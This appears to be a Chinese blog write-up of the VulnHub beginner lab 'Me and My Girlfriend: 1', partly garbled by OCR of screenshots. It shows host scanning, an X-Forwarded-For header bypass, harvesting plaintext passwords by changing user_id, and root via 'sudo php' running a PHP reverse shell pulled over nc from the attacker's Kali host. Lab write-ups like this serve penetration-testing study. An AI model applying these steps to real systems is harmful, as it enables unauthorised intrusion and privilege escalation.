vulnhub靶机练习-Me and My Girlfriend: 1



onlyoneya ● 于 2019-12-19 20:30:04 发布 ● 596 ☆ 收藏 版权声明:本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u> 版权协议,转载请附上原文出处链接和本声明。本文链接: <u>https://blog.csdn.net/qq_41631806/article/details/103619441</u> 版权

vulnhub靶机练习-Me and My Girlfriend: 1

靶机下载地址: https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/点击直接下载

1. 靶机介绍

DescriptionBack To The Top

Description: This VM tells us that there are a couple of lovers namely Alice and Bob, where the couple was originally very romantic, but since Alice worked at a private company, "Ceban Corp", something has changed from Alice's attitude towards Bob like something is "hidden", And Bob asks for your help to get what Alice is hiding and get full access to the company! Difficulty Level: Beginner

Notes: there are 2 flag files

Learning: Web Application | Simple Privilege Escalation

❹说明	回到顶端
Description:这个VM告诉我们,有两个恋人,即Alice和Bob,这对夫妻本来很浪漫,但是自从Alice在一家私人公司" Ceban Corp"工作以来,爱丽丝对鲍勃的态度发生了 "隐藏"的,而鲍勃(Bob)寻求您的帮助,以获取爱丽丝(Alice)隐藏的内容并获得对该公司的完全访问权限!	7一些变化是
难度等级:初学者	
注意:有2个标志文件	
学习:Web应用程序 简单特权升级	

2. 靶机安装

虚拟机: vmware workstation 15 pro(官网使用Virtualbox)

攻击者: kali linux (ip:192.168.15.131)

文件: Me-and-My-Girlfriend-1.ova

步骤: vmware workstation点击打开虚拟机,载入.ova,完成靶机安装。将靶机网络设置成与kali linux相同的模式——nat模式。

3. 主机发现, kali扫描用网段主机,发现目标主机IP为192.168.15.141。

netdiscover -r 192.168.15.131/24

Currently scann	ing: Finished!	Screen	View:	Unique Hosts	*
94 Captured ARP	Req/Rep packets, f	rom 4 ho	li Trainin sts.	Total size: 5640	🕻 Kali
IP	At MAC Address	Count	Len	MAC Vendor / Hostname	
192.168.15.1	00:50:56:c0:00:08	5	300	VMware, Inc.	
192.168.15.141	00:0c:29:9f:20:47	4	240	VMware, Inc.	
192.168.15.254	00:50:56:f4:2c:de	3	180	VMware, Inc.	
192.168.15.2	00:50:56:f2:23:fe	82	4920	VMware, Inc.	

4. 对目标主机进行扫描, 22/tcp open ssh、80/tcp open http开放。

nmap -sS -A 192.168.15.141

1 0.52 ms 192.100.15.1
Nmap scan report for 192.168.15.141 Host is up (0.00036s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22(for each cosh DeepSCH 6.6.151 Ubustu 2ubustu2.12 (Ubustu Lipux, protoco
Den ssn Openssn 0.6.1p1 Obuntu Zubuntu2.13 (Obuntu Linux; protoco
ssn-nostkey:
1024 57:e1:56:58:46:04:33:56:3d:c3:4b:a7:93:ee:23:16 (DSA)
2048 3b:26:4d:e4:a0:3b:f8:75:d9:6e:15:55:82:8c:71:97 (RSA)
256 8f:48:97:9b:55:11:5b:f1:6c:1d:b3:4a:bc:36:bd:b0 (ECDSA)
<pre>256 d0:c3:02:a1:c4:c2:a8:ac:3b:84:ae:8f:e5:79:66:76 (ED25519)</pre>
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
_http-server-header: Apache/2.4.7 (Ubuntu)
http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:9F:20:47 (VMware)
Device type: general purpose
Running: Linux 3.X 4.X
OS CPE: cpe:/o:linux:linux kernel:3 cpe:/o:linux:linux kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel https://blog.csdn.net/qq_41631806

5. 访问80端口,限制本地访问,可构造XXF注入。

← → ♂ ☆	0 🔏 192.168.15.141	
🗋 火狐官方站点 📋 火狐官方站点	📄 火狐官方站点 🔸 新手上路 📋 常用网址	王 天猫

Who are you? Hacker? Sorry This Site Can Only Be Accessed local!

6. burpsuite抓包,加入X-Forwarded-For:127.0.0.1(需一直加入消息头内)。

Burp Project Intruder Repeater Window Help						
Dashboard Target Proxy Intruder Repeater Sequencer	Decoder Comparer					
Intercept HTTP history WebSockets history Options						
Request to http://192.168.15.141:80						
Forward Drop Intercept is on Action						
Raw Params Headers Hex						
GET / HTTP/1.1						
Host: 192.168.15.141						
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0						
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8						
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3						
Accept-Encoding: gzip, deflate						
Cookie: PHPSESSID=chhg686834gf2filikg6pcv4e7						
Connection: close						
x-forwarded-for:127.0.0.1						
Upgrade-Insecure-Requests: 1 https://blo						



Welcome To Ceban Corp

Inspiring The People To Great Again!

Home | Login | Register | About

7. 没发现SQL注入,不是文件包含。注册,登录,在profile界面修改密码那,发现源码有账号密码明文。修改user_id,还有其他 五个用户的账号密码,其中出现主人公Alice。账号: alice,密码: 4lic3。





8. 用alice的账号密码在kali linux上ssh登录。

9. 登录成功,但是不是root权限,查看不了sudo权限用户。顺便在alice目录下发现了她的秘密和第一个flag

alice@gfriEND:~/.my_secret\$ id uid=1000(alice) gid=1001(alice) groups=1001(alice)

alice@gfriEND:~/.my_secret\$ cat /etc/sudoers
cat: /etc/sudoers: Permission denied

alice@gfriEND:~/.my_secret\$ ls -a flag1.txt my notes.txt

10. 查看系统信息(此处是绕路弯路了,不过也是个思路)

uname -a

alice@gfriEND:~/.my_secret\$ uname -a Linux gfriEND 4.4.0-142-generic #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UT C 2019 x86 64 x86 64 x86 64 GNU/Linux

11. 用searchsploit查找相关漏洞,进行提权。

searchsploit ubuntu 14.04 searchsploit linux Kernel 4.4.0

inux Kernel < 4.4.0/ < 4.8.0 (Ubunt | exploits/linux/local/47169.c</pre>

目标主机没有编译c的环境,安装gcc需要root权限。所以我配置了一台相同参数系统,进行编译,然后用nc传输编译后的 文件到目标主机上,运行,提权失败,原因是目标机不在exploit范围内。接着找了几个,都失败了。还是太菜,去网上看 下题解。题解链接

正确方法。查看本用户能够执行的sudo权限。有php执行权限。

sudo -

```
alice@gfriEND:~/.my_secret$ sudo -l
Matching Defaults entries for alice on gfriEND:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/
bin\:/snap/bin
User alice may run the following commands on gfriEND:
(root) NOPASSWD: /usr/bin/php
alice@gfriEND:~/.my_secret$
```

14. 上传kali的webshell。给kali反弹一个shell。 kali(192.168.15.131): ssh:

nc -vn 192.168.15.131 4444 > shell sudo php shell

反弹提权成功。

```
root@tree:/usr/share/webshells/php# nc -l -p 4444
Linux gfriEND 4.4.0-142-generic #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UT
C 2019 x86_64 x86_64 x86_64 GNU/Linux
23:48:21 up 6:48, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
alice pts/0 192.168.15.131 19:55 5.00s 2.94s 0.32s bash
uid=0(root) gid=0(root) groups=0(root)
```

15. root目录用户下找到第二个flag。

参考资料: HTTP 请求头中的 X-Forwarded-For Vulnhub-Me and My Girlfriend: 1-Writeup 新解题步骤1

(注:本人菜鸡,如有错误,欢迎评论指出)